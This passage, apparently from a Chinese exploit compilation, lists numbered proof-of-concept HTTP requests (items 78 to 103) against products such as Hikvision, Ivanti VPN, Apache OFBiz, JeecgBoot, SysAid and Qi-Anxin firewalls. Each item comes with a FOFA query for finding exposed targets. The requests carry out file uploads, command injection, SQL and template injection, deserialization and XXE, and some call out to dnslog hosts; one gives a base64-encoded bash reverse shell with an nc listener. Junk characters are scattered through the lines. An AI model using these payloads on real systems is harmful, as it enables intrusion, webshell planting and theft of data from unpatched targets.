& h3 l" r1 L2 I; M2 z  B: eContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"

/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
) V: j' u+ L$ F& CContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream

2 m9 G* j- q  k7 H' K% r. t) vhello1234567
$ J6 Z3 c* x8 J) h9 D1 U3 O, X------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Upload"

Submit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--
# K1 w9 w, A+ ^

) r- A# f( f$ K  M- z78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
8 B# ~1 E$ t/ T2 ~2 fFOFA：icon_hash="2001627082"
8 I% i, O+ ~1 f) Z6 ePOST /Platform/System/FileUpload.ashx HTTP/1.1
2 q5 b. Y' f, s7 L/ A+ }4 OHost: x.x.x.x
- ]! t0 Y7 L& e8 mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
) Q, u( m8 V( z8 Z& _" t8 z  nConnection: close
7 g8 m6 D- C% o: p) ?Content-Length: 336
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

9 _5 Q: g5 U1 Q7 N# v------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
" R( t5 A$ g( P% f  b8 iContent-Type: image/png

YsOxWxSvj1KyZow1PTsh98fdu6l
8 h% t/ r5 a4 I# ?  b' a------YsOxWxSvj1KyZow1PTsh98fdu6l
. K: I! u) x: ^, M: w6 k6 NContent-Disposition: form-data; name="target"

4 \5 a6 T( {2 Y8 V* y5 }' \/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--
2 J1 n  [$ h) V1 d
8 {# \# F- \6 V: o
6 C: q, b- T) C4 ]+ J  ?6 P; x( l! B9 FGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x


79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
2 w8 M4 ?3 _3 u8 Y% ?  ZUpgrade-Insecure-Requests: 1
8 q3 q3 P: K  J8 v' E3 I
9 [# x" e: F* {; n, R5 ~
" Q. q5 v4 I" t$ ?- R80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
+ ]; `0 f7 i" i' q- kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
% w5 i& u+ k# R2 `' q& i/ SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; L' L) L7 y0 e+ @Accept-Encoding: gzip, deflate
" l4 f  z# s- l1 Z7 wAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% M  `" t+ s) kConnection: close
2 i  Z/ ^- t; Q) eContent-Type: application/octet-stream
Upgrade-Insecure-Requests: 1
8 g' I) i+ E2 F1 K/ k' A
$ K9 P) e2 G  A! L5 o6 n* |% S<% out.print("oessqeonylzaf");%>


GET /xykqmfxpoas.jsp HTTP/1.1
8 L  R" T' K9 m( `# M* E1 h& YHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
/ e1 X8 i9 z/ }2 P2 b2 ?Accept-Encoding: gzip
, J3 e; T7 K9 E- x& c0 M1 q

$ F- y$ \$ m  a' x+ @% [; Z/ T81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
  }) \; D3 C  d2 a" s" i, ?: ?' PFOFA：app="uniview-视频监控"
9 X5 v' t" i, s' V9 W& c: f$ ?9 n6 PGET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
/ o3 \! D+ P2 {3 w% Z: KAccept-Encoding: gzip
: s4 C; I) b$ c9 k
) M1 a7 h8 R2 D, g# i- G) |
: A6 H* E+ S( y, n5 ~: G82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
, p$ @8 s( E6 Q+ }. Y. j. t- [* D7 q; wPOST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
User-Agent: Go-http-client/1.1
Content-Length: 23
Accept-Encoding: gzip
Connection: close
* K0 E7 A# Z. l1 v0 u4 Y& {Content-Type: application/x-www-form-urlencoded
" y9 [8 C6 W, {Referer: BaseURL

z1=1&z2="|id;"&z3=bhost
4 ^) e1 l( l+ J$ }* z/ l. s; l4 w0 v

# L! g5 j8 ~5 t$ g9 C83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"
; w& h6 f5 |* `9 [
# u' o( n+ x7 W1 x
POST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
; h3 K9 m' T  ?# E4 w: v$ ], nConnection: close
! I. z2 J$ i- a3 [Content-Length: 8881
, O/ I. s( ]: P; b' p  f( rAccept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json

PAYLOAD
" z2 ^: x' l4 u4 b
  D2 v: j4 g$ Y! K. R) W7 O3 n) X84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"
. E: w+ v) U! z* |, w
! J! h' Q5 a% Y7 \8 _
: y( Z7 C# i+ Y2 [# W( J- {
6 h1 W& T5 j; ?& J& SPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
8 v/ A8 M: L+ SUser-Agent: curl/7.88.1
" Y& J7 V3 v4 n2 Q! B0 _. ]Content-Length: 156
Accept: */*
Connection: close
& Q$ x+ S/ \% ?* t3 b: [2 @Content-Type: application/json
Accept-Encoding: gzip
  {9 Z+ A+ x( F
{
3 N; U0 D' w2 n' u+ h# g& a/ m "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
  a6 n: U- X/ c( ~}


- W8 o, Y. c5 m4 c0 H2 l5 p! s5 T85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
Accept-Encoding: gzip
, ]! Z( y9 _/ y# p2 s
& O1 P1 [' ~1 iPAYLOAD

回显URL：http://x.x.x.x/userfiles/index.jsp
( p( Q4 V& y/ o: _
86. 日本tosei自助洗衣机RCE
8 H7 l8 `8 R' W, U- o% X3 WFOFA：body="tosei_login_check.php"
/ J. ^% E5 ~  I+ q; k; k( ?POST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Content-Length: 44
2 t  k7 Q7 x6 \' }% c7 ~7 {! K; MAccept: */*
, V* V+ d; a2 G+ n- `) |Accept-Encoding: gzip
+ D! s7 Z* r" b% v) r$ q6 `Accept-Language: en
# R+ Y, S6 o( \/ N, E  X7 d5 D1 W* EContent-Type: application/x-www-form-urlencoded
& W- G& P. p) U( B
host=%0acat${IFS}/etc/passwd%0a&command=ping
+ t$ i' n- a$ D% s6 p5 \
; v, V# T* |& @5 H" x
87. 安恒明御安全网关aaa_local_web_preview文件上传
$ h8 ?" l! ?; |/ ]) AFOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
0 j7 z2 J, D, z: e, OHost: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
$ M" n) u6 v6 I. d, k4 _% lContent-Length: 198
* O8 G% ]. H4 ?4 K  _Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
  J7 z2 }/ R5 n" q$ p+ j
--qqobiandqgawlxodfiisporjwravxtvd
& [0 B6 y0 M5 s4 Q/ s$ p# FContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
$ }. X. y3 m+ m% j8 b# b( yContent-Type: text/plain
, f5 B1 r( M5 J. V. f+ E3 j# `
2ZqGNnsjzzU2GBBPyd8AIA7QlDq
3 R. s# m: m6 ~( F2 i6 b4 ]3 I--qqobiandqgawlxodfiisporjwravxtvd--
5 ]5 y6 p. w0 Q9 j

  l2 q/ M. k0 d/jfhatuwe.php
5 ~& A% ~, C4 |* @! w: i3 e% q0 @: t
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
$ r: \' J+ G) @8 w: x5 R) e7 i' M  pFOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
, w8 g# G) C: KHost: x.x.x.xx.x.x.x
9 z7 G( ]- Y3 IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 c8 Y7 y1 l9 |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
: D0 D2 d' u5 b2 `Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# K' G" ~, a3 _8 n1 `- r9 W4 K0 Q' ~  FConnection: close
0 c- {. [5 j4 {  b

/astdfkhl.php

89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
, W- h5 [+ H/ P' b, SPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
: Z  c& H$ m1 U4 J: jHost: x.x.x.x
9 H3 b+ `  t4 CUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
* ^! [, a& `  C& pContent-Length: 41
- v; a' i: ?6 q" iContent-Type: application/x-www-form-urlencoded
1 [! ]/ a+ \4 b8 }, _( O6 vAccept-Encoding: gzip

8 L+ G- L6 W  B+ B! S$ qoption=2&GUID=-1'+union+select+111*222--+

0 w* G+ Z5 u& W3 d  J# N7 E
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
( b, {" B9 l; iFOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
Host: x.x.x.x
7 F! W2 G( i$ ]  E& pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
: A0 {7 F; E( W  Y1 tContent-Length: 51
- r1 f9 G, E6 ?/ BAccept: application/json, text/javascript, */*; q=0.01
4 B7 D. o  |, l2 bAccept-Encoding: gzip, deflate
! r8 b2 p8 [& oAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
$ \& T% e2 d+ G' k9 I  TX-Requested-With: XMLHttpRequest
& M! z7 I* G' H( {. y# }( A8 Q! Y* z
5 n! [+ w# b* v6 ojsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
  N3 m( c6 m% @5 m' P
0 g9 n# H9 K' U! U5 q! Q
! j3 f% ~5 I! t91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
0 k* c& h0 N( R. \FOFA：title="综合安防管理平台"
2 ^5 d% s# t& o% v2 d1 NGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
$ `/ L  N1 z6 P5 H  [Host: your-ip
1 J$ w2 E5 Z, K1 j9 o. g9 B1 OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
& ^. G  Y: y5 \) u% b9 {Accept: */*
Connection: keep-alive
8 r" _7 C& Z# ]; k9 ]" R, S

, |) s; i0 x+ e5 C, ?
92. 海康威视运行管理中心session命令执行
) i  {5 D1 [& ]1 F9 iFastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
Host:
" k: t$ R9 ^7 X3 x6 mAccept: application/json, text/plain, */*
( z$ M, ?' \$ @6 z2 JAccept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
' @! c; z3 n/ W' F, B( ~, }X-Language-Type: zh_CN
- Z$ D. b) v% \* A3 U( yTestcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 5778
. n0 n# Y. U1 @) U0 V
* ?6 I% K. d) k4 _- j; \4 y! iPAYLOAD


+ {1 g* |% Z# v: f93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
: {& L& ?7 w0 @( _9 j2 ]4 CFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
8 ~. z% v1 m& m! M+ E* \/ n0 r4 u6 dHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
9 N! m  s5 k/ I+ s* h6 P( dUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
  D9 s' Z* n7 e4 B$ \4 f+ _; H3 v
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
0 |3 e: ^( i+ ?$ D------WebKitFormBoundarykcbkgdfx
5 f7 ~  U3 q+ f# V1 r$ oContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain

wagletqrkwrddkthtulxsqrphulnknxa
8 @' _% t  e# \$ Y) p# F% J------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"
. P! \2 Y( g& t4 ~9 c; Y
, T  \( l4 @9 z8 m, p  ~+ E7 e2 r  qobj_app_upfile
0 B3 ?9 [! T% n9 J+ r; H. a------WebKitFormBoundarykcbkgdfx
" ^6 W: F8 V9 C) g% |Content-Disposition: form-data; name="__hash__"
3 D* O+ k5 {) ], g9 s
4 I1 ]; U2 |- y! C+ g0b9d6b1ab7479ab69d9f71b05e0e9445
/ o% l- f2 `! k( O# @. O------WebKitFormBoundarykcbkgdfx--


GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36


9 P* u# ?3 X" _0 H& ~) W: b94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
- w5 w. A; J( B# B5 a3 oHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
9 v% B: Z3 _. A; g, G' c! ~3 o. G------WebKitFormBoundarybqvzqvmt
) @+ ^# X/ P0 n* S' L7 RContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain
  [0 Q% L0 t; t" v
pxplitttsrjnyoafavcajwkvhxindhmu
2 c* A7 P) M( F4 f------WebKitFormBoundarybqvzqvmt
5 n7 i+ I0 n5 C" R- R( ZContent-Disposition: form-data; name="submit_post"
( [, {( `2 A1 }2 J  M- G$ R3 c4 u
# F% I8 w9 b1 s: N, ?6 pobj_app_upfile
0 `, C' p5 `. R5 ?------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"
% J  L2 v# Q1 z; [
, V* c$ n* N8 z3 m, t# O# s4 K$ v0b9d6b1ab7479ab69d9f71b05e0e9445
4 R. f  T5 u+ q: ^------WebKitFormBoundarybqvzqvmt--



GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36


9 X2 G0 p4 f3 D# }3 Q; l* p3 X
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
/ d/ v% L) p. t6 zFOFA：app="Apache_OFBiz"
+ W& m* ]9 h! I. ?  }/ [5 BPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
* i- G, z  i$ _( xHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
& i2 D; m9 `4 t& |/ \2 u. b4 DConnection: close
9 U& ^+ H8 O$ Z: x$ \Content-Length: 889
Content-Type: application/xml
- O/ K/ i6 F* @' Q8 i+ T! kAccept-Encoding: gzip

<?xml version="1.0"?>
1 l% t2 Q. |, a( L( i" W<methodCall>
' p# ?' j6 E& x8 \8 z$ g   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
0 w. `# p( h5 T1 G6 S( g    <params>
9 w! p% E) w* N4 ?1 S7 V  p; |      <param>
      <value>
3 \$ @, B, f; U( M2 _" T        <struct>
       <member>
          <name>test</name>
- x+ S( F( N# m! ^- {3 j          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
$ A. L: _' \  a2 g) W+ G          </value>
        </member>
      </struct>
      </value>
    </param>
3 E3 J* T0 m/ C& D+ `7 z' I$ A    </params>
</methodCall>
: t- T8 S' d3 P: }

用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"

# k. N9 ^  @5 S5 k
: |1 y4 O8 k; U7 _将生成的payload替换到上面的POC
+ d7 W# m( S* t/ _* M3 kPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
! v% M5 p% p/ {+ GHost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
/ l6 }) K% Z, g0 t/ r4 UConnection: close
8 n5 F4 l4 C: i* U8 p0 L0 E- U: m, xContent-Length: 889
Content-Type: application/xml
1 Q  T- q) t, x3 T+ X5 b( p+ C8 @Accept-Encoding: gzip

PAYLOAD

96. Apache OFBiz  18.12.11 groovy 远程代码执行
1 n8 s& y& c* F4 d+ }1 j4 i. @8 AFOFA：app="Apache_OFBiz"
/ @7 b: M0 }' \) R' k7 {# dPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
  i7 |" A1 o7 t0 X8 ~4 j, P5 D1 u; xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
, ~8 \# E3 {* U, DAccept: */*
. R. C6 e* ~) {  h( WAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* i: _- a. o, L  N5 F0 q7 bContent-Type: application/x-www-form-urlencoded
. J3 Y' C1 G( h: \3 sContent-Length: 55

  t. a* s6 u2 N8 \; E2 {groovyProgram=throw+new+Exception('id'.execute().text);
- C4 Z4 q5 H9 a9 c1 C$ }

反弹shell
' c- J2 R/ G% S2 O. C  ~- Z在kali上启动一个监听
4 f/ ~: D8 D: z4 o' q7 p! d! [3 O7 Gnc -lvp 7777
8 N) g  G7 ?# E- U) ?8 y
* e, ^" f7 O2 i3 m+ S) b; ]POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
- I# P9 G+ O8 K' Y! m8 l3 |- H2 JHost: 192.168.40.130:8443
2 X2 H5 }( o% [. w6 N& `, MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
8 @" P8 D* _+ O$ C' rContent-Length: 71

% M& f6 Y. i0 j5 D' NgroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

' g9 L; v" j2 \: O0 J& F) J97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
Host: 192.168.40.130:8085
$ h7 y' Z1 q" A/ ~* r+ nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
; F* B+ b# S+ @0 Z; z

0 V0 q9 L/ ~4 w98. SpiderFlow爬虫平台远程命令执行
3 S7 [8 @4 a/ w1 H; cCVE-2024-0195
2 i0 t  Q+ \( S" B5 u! bFOFA：app="SpiderFlow"
0 Y" B$ }' O8 M) D" O* h, u. N# wPOST /function/save HTTP/1.1
Host: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 121
Accept: */*
( e) n% R# X) t) M. h6 f! D. W2 DAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- @, L6 ^/ ~6 d  HContent-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B


4 [9 z/ ?# E) _: ?+ ?: z6 r99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
8 Y7 u/ G( s5 Q/ zFOFA：app="Ncast-产品" && title=="高清智能录播系统"
! j6 q$ _9 r4 C- {: h; v# R* m3 {7 lPOST /classes/common/busiFacade.php HTTP/1.1
% I- d- J9 C' uHost: 192.168.40.130:8080
) U, Y( I1 Y" `; @: `0 {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 154
( c; {/ F: g9 f3 H7 |2 RAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
) M8 t1 A% A- f, r8 V/ hX-Requested-With: XMLHttpRequest

5 o+ G/ f, ]9 ^9 s% S2 A1 d" l%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
% w6 _8 x0 n, C9 t( h
* `7 k. s, K3 q
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
FOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
) i- ]+ {; J& U5 DHost: 192.168.40.130
0 E% O1 U& [8 O+ L! z4 ]/ \User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip

. l2 [8 r$ ?! Z# |/ k( V) ?1 E- k5 K------WebKitFormBoundarygcflwtei
' b- d2 o+ R% j3 YContent-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php

0 l+ ~* y7 W$ y7 B6 M2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--


101. ivanti policy secure-22.6命令注入
CVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
! X9 m; w/ \( _. M2 AUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
: j; m1 r" s6 G- b" ]3 Z3 n

: v9 p9 H8 v' ~) m' |# f102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
; B. P( R2 Y( N% O8 rCVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
5 j" ^  ^+ x* ^8 |# _POST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
1 v" @" V: e7 f! NContent-Length: 792
' \5 L! C0 p! G) z( B( iAccept-Encoding: gzip
( ?6 g8 Z0 `7 ^1 Q+ }$ ^
<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
& t5 [8 x9 w) i; r# Z) X1 E
103. Ivanti Pulse Connect Secure VPN XXE
+ \" b( v: \+ }: q9 CCVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
/ M) ~- S! W& B& K5 B8 q! K3 LUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Content-Length: 204
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

